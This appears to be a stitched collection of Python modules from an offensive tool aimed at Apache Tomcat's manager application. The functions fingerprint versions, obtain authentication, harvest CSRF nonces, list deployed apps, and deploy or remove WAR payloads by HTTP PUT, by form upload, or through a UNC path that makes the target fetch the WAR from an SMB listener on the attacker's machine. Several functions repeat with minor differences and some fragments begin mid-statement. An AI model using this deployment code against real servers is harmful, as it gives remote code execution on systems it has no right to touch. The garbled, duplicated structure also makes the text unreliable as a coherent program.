def run(self, fingerengine, fingerprint): utility.Msg("Attempting to retrieve Tomcat info...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) relative = '/manager/serverinfo' if fingerprint.version in ["7.0", "8.0"]: relative = '/manager/text/serverinfo' url = base + relative response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: info = response.content.split('\n')[1:-1] for entry in info: utility.Msg(entry)
def runLatter(self, fingerengine, fingerprint, smb_thread): """ """ base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/manager/html/deploy" data = OrderedDict([ ("deployPath", "/asdf"), ("deployConfig", ""), ("deployWar", "file://{0}/asdf.war".format(utility.local_address())), ]) cookies = None nonce = None # probe for auth response = utility.requests_get(base + '/manager/html') if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(base + '/manager/html', cookies=cookies[0], auth=cookies[1]) # get nonce nonce = findall("CSRF_NONCE=(.*?)\"", response.content) if len(nonce) > 0: nonce = nonce[0] # set new jsessionid cookies = (dict_from_cookiejar(response.cookies), cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) return if response.status_code == 200: try: # all setup, now invoke response = utility.requests_post(base + uri + \ '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce, data = data, cookies=cookies[0], auth=cookies[1]) except: # timeout pass while smb_thread.is_alive(): # spin... sleep(1)
def run(self, fingerengine, fingerprint): """ Same concept as the JBoss module, except we actually invoke the deploy function. """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) if fingerprint.version in ["5.5"]: uri = '/manager/html/deploy?deployPath=/asdf&deployConfig=&'\ 'deployWar=file://{0}/asdf.war'.format(utility.local_address()) elif fingerprint.version in ["6.0", "7.0", "8.0"]: return self.runLatter(fingerengine, fingerprint, thread) else: utility.Msg("Unsupported Tomcat (v%s)" % fingerprint.version, LOG.ERROR) return url = base + uri response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def run(self, fingerengine, fingerprint): utility.Msg("Attempting to retrieve Tomcat info...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) relative = '/manager/serverinfo' if fingerprint.version in ["7.0", "8.0"]: relative = '/manager/text/serverinfo' url = base + relative response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: info = response.content.split('\n')[1:-1] for entry in info: utility.Msg(entry)
def deploy(fingerengine, fingerprint): """ This deployer is slightly different than manager_deploy in that it only requires the manager-gui role. This requires us to deploy like one would via the web interface. """ base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/manager/html/upload' war_file = fingerengine.options.deploy war_path = parse_war_path(war_file) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) if fingerprint.version in ['6.0', '7.0', '8.0']: # deploying via the gui requires a CSRF token (csrf, c) = fetchCSRF(base, cookies) if not csrf: return else: # set CSRF and refresh session id uri += '?org.apache.catalina.filters.CSRF_NONCE={0}' uri = uri.format(csrf) cookies = (c, cookies[1]) # read in payload try: tag = 'deployWar' if fingerprint.version in ['4.0', '4.1']: tag = 'installWar' files = {tag: (war_path + '.war', open(war_file, 'rb'))} except Exception as e: utility.Msg(e, LOG.ERROR) return # deploy response = utility.requests_post(base + uri, files=files, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200 and "OK" in response.content: utility.Msg("Deployed {0} to /{1}".format(war_file, war_path), LOG.SUCCESS) elif 'Application already exists' in response.content: utility.Msg("Application {0} is already deployed".format(war_file), LOG.ERROR) elif response.status_code is 403: utility.Msg("This account does not have permissions to remotely deploy. Try"\ " using manager_deploy", LOG.ERROR) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def runLatter(self, fingerengine, fingerprint, smb_thread): """ """ base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/manager/html/deploy" data = OrderedDict([ ("deployPath", "/asdf"), ("deployConfig", ""), ("deployWar", "file://{0}/asdf.war".format(utility.local_address())), ]) cookies = None nonce = None # probe for auth response = utility.requests_get(base + '/manager/html') if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(base + '/manager/html', cookies=cookies[0], auth=cookies[1]) # get nonce nonce = findall("CSRF_NONCE=(.*?)\"", response.content) if len(nonce) > 0: nonce = nonce[0] # set new jsessionid cookies = (dict_from_cookiejar(response.cookies), cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) return if response.status_code == 200: try: # all setup, now invoke response = utility.requests_post(base + uri + \ '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce, data = data, cookies=cookies[0], auth=cookies[1]) except: # timeout pass while smb_thread.is_alive(): # spin... sleep(1)
def run(self, fingerengine, fingerprint): """ Same concept as the JBoss module, except we actually invoke the deploy function. """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) if fingerprint.version in ["5.5"]: uri = '/manager/html/deploy?deployPath=/asdf&deployConfig=&'\ 'deployWar=file://{0}/asdf.war'.format(utility.local_address()) elif fingerprint.version in ["6.0", "7.0", "8.0"]: return self.runLatter(fingerengine, fingerprint, thread) else: utility.Msg("Unsupported Tomcat (v%s)" % fingerprint.version, LOG.ERROR) return url = base + uri response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def undeploy(fingerengine, fingerprint): """ This module is used to undeploy a context from a remote Tomcat server. In general, it is as simple as fetching /manager/html/undeploy?path=CONTEXT with an authenticated GET request to perform this action. However, Tomcat 6.x proves to not be as nice. The undeployer in 6.x requires a refreshed session ID and a CSRF token. This requires one more request on our part. Tomcat 7.x and 8.x expose /manager/text/undeploy which can bypass the need for a CSRF token. """ context = parse_war_path(fingerengine.options.undeploy) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if fingerprint.version in ["7.0", "8.0"]: uri = "/manager/text/undeploy?path=/{0}".format(context) elif fingerprint.version in ['4.0', '4.1']: uri = '/manager/html/remove?path=/{0}'.format(context) else: uri = "/manager/html/undeploy?path=/{0}".format(context) if fingerprint.version in ['6.0']: (csrf, c) = fetchCSRF(base, cookies) uri += '&org.apache.catalina.filters.CSRF_NONCE=%s' % csrf # rebuild our auth tuple cookies = (c, cookies[1]) url = base + uri utility.Msg("Preparing to undeploy {0}...".format(context)) response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200 and \ ('Undeployed application at context' in response.content or\ 'OK' in response.content): utility.Msg("Successfully undeployed %s" % context, LOG.SUCCESS) elif 'No context exists for path' in response.content: utility.Msg("Could not find a context for %s" % context, LOG.ERROR) else: utility.Msg("Failed to undeploy (HTTP %s)" % response.status_code, LOG.ERROR)
def undeploy(fingerengine, fingerprint): """ This module is used to undeploy a context from a remote Tomcat server. In general, it is as simple as fetching /manager/html/undeploy?path=CONTEXT with an authenticated GET request to perform this action. However, Tomcat 6.x proves to not be as nice. The undeployer in 6.x requires a refreshed session ID and a CSRF token. This requires one more request on our part. Tomcat 7.x and 8.x expose /manager/text/undeploy which can bypass the need for a CSRF token. """ context = parse_war_path(fingerengine.options.undeploy) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if fingerprint.version in ["7.0", "8.0"]: uri = "/manager/text/undeploy?path=/{0}".format(context) elif fingerprint.version in ['4.0', '4.1']: uri = '/manager/html/remove?path=/{0}'.format(context) else: uri = "/manager/html/undeploy?path=/{0}".format(context) if fingerprint.version in ['6.0']: (csrf, c) = fetchCSRF(base, cookies) uri += '&org.apache.catalina.filters.CSRF_NONCE=%s' % csrf # rebuild our auth tuple cookies = (c, cookies[1]) url = base + uri utility.Msg("Preparing to undeploy {0}...".format(context)) response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200 and \ ('Undeployed application at context' in response.content or\ 'OK' in response.content): utility.Msg("Successfully undeployed %s" % context, LOG.SUCCESS) elif 'No context exists for path' in response.content: utility.Msg("Could not find a context for %s" % context, LOG.ERROR) else: utility.Msg("Failed to undeploy (HTTP %s)" % response.status_code, LOG.ERROR)
def undeploy(fingerengine, fingerprint): """ """ context = parse_war_path(fingerengine.options.undeploy) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) if fingerprint.version in ["7.0", "8.0"]: uri = "/manager/text/undeploy?path=/{0}".format(context) else: uri = "/manager/html/undeploy?path=/{0}".format(context) url = base + uri utility.Msg("Preparing to undeploy {0}...".format(context)) response = utility.requests_get(url) if response.status_code == 401 or \ (response.status_code == 405 and fingerprint.version == "8.0"): utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: response.status_code = 200 else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200 and 'Undeployed application at context'\ in response.content: utility.Msg("Successfully undeployed %s" % context, LOG.SUCCESS) elif 'No context exists for path' in response.content: utility.Msg("Could not find a context for %s" % context, LOG.ERROR) else: utility.Msg("Failed to undeploy (HTTP %s)" % response.status_code, LOG.ERROR)
def run(self, fingerengine, fingerprint): """ Obtain a list of deployed WARs on a remote Tomcat instance """ utility.Msg("Obtaining deployed applications...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) relative = '/manager/list' if fingerprint.version in ["7.0", "8.0"]: relative = '/manager/text/list' url = base + relative response = utility.requests_get(url) if response.status_code == 401: utility.Msg( 'Host %s:%s requires auth, checking...' % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: apps = response.content.split('\n')[1:-1] for app in apps: utility.Msg("App found: %s" % app.split(':', 1)[0]) else: utility.Msg( "Unable to retrieve %s (HTTP %d)" % (url, response.status_code), LOG.DEBUG)
def deploy(fingerengine, fingerprint): """ This deployer is slightly different than manager_deploy in that it only requires the manager-gui role. This requires us to deploy like one would via the web interface. """ base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/manager/html/upload' war_file = fingerengine.options.deploy war_path = parse_war_path(war_file) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) if fingerprint.version in ['6.0', '7.0', '8.0']: # deploying via the gui requires a CSRF token (csrf, c) = fetchCSRF(base, cookies) if not csrf: return else: # set CSRF and refresh session id uri += '?org.apache.catalina.filters.CSRF_NONCE={0}' uri = uri.format(csrf) cookies = (c, cookies[1]) # read in payload try: tag = 'deployWar' if fingerprint.version in ['4.0', '4.1']: tag = 'installWar' files = {tag : (war_path + '.war', open(war_file, 'rb'))} except Exception, e: utility.Msg(e, LOG.ERROR) return
def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for manager, checking.." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) if response.status_code == 200: found = findall("Apache Tomcat/(.*)<", response.content) if len(found) > 0 and self.version in found[0]: return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def run(self, fingerengine, fingerprint): """ Obtain a list of deployed WARs on a remote Tomcat instance """ utility.Msg("Obtaining deployed applications...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) relative = '/manager/list' if fingerprint.version in ["7.0", "8.0"]: relative = '/manager/text/list' url = base + relative response = utility.requests_get(url) if response.status_code == 401: utility.Msg('Host %s:%s requires auth, checking...' % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: apps = response.content.split('\n')[1:-1] for app in apps: utility.Msg("App found: %s" % app.split(':', 1)[0]) else: utility.Msg("Unable to retrieve %s (HTTP %d)" % (url, response.status_code), LOG.DEBUG)
version_path, war_path) try: files = open(war_file, 'rb') except Exception, e: utility.Msg(e, LOG.ERROR) return response = utility.requests_put(url, data=files) if response.status_code == 401 or \ (response.status_code == 405 and fingerprint.version == "8.0"): # Tomcat 8.0 405's if you PUT without auth utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_put(url, data=files, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return
def deploy(fingerengine, fingerprint): """ Through Tomcat versions, remotely deploying hasnt changed much. Newer versions have a new URL and some quarks, but it's otherwise very stable and quite simple. Tomcat cannot be asked to pull a file, and thus we just execute a PUT with the payload. Simple and elegant. """ war_file = fingerengine.options.deploy war_path = parse_war_path(war_file) version_path = "manager/deploy" utility.Msg("Preparing to deploy {0}...".format(war_file)) if fingerprint.version in ["7.0", "8.0"]: # starting with version 7.0, the remote deployment URL has changed version_path = "manager/text/deploy" url = "http://{0}:{1}/{2}?path=/{3}".format(fingerengine.options.ip, fingerprint.port, version_path, war_path) try: files = open(war_file, 'rb') except Exception as e: utility.Msg(e, LOG.ERROR) return response = utility.requests_put(url, data=files) if response.status_code == 401 or \ (response.status_code == 405 and fingerprint.version == "8.0"): # Tomcat 8.0 405's if you PUT without auth utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_put(url, data=files, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: response.status_code = 200 else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200 and 'Deployed application at' in response.content: utility.Msg("Deployed {0} to /{1}".format(war_file, war_path), LOG.SUCCESS) elif 'Application already exists' in response.content: utility.Msg("Application {0} is already deployed.".format(war_file), LOG.ERROR) elif response.status_code == 403: utility.Msg( "This account does not have permissions to remotely deploy.", LOG.ERROR) else: utility.Msg("Failed to deploy (HTTP %s)" % response.status_code, LOG.ERROR)
war_path) try: files = open(war_file, 'rb') except Exception, e: utility.Msg(e, LOG.ERROR) return response = utility.requests_put(url, data=files) if response.status_code == 401 or \ (response.status_code == 405 and fingerprint.version == "8.0"): # Tomcat 8.0 405's if you PUT without auth utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_put(url, data=files, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: response.status_code = 200 else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return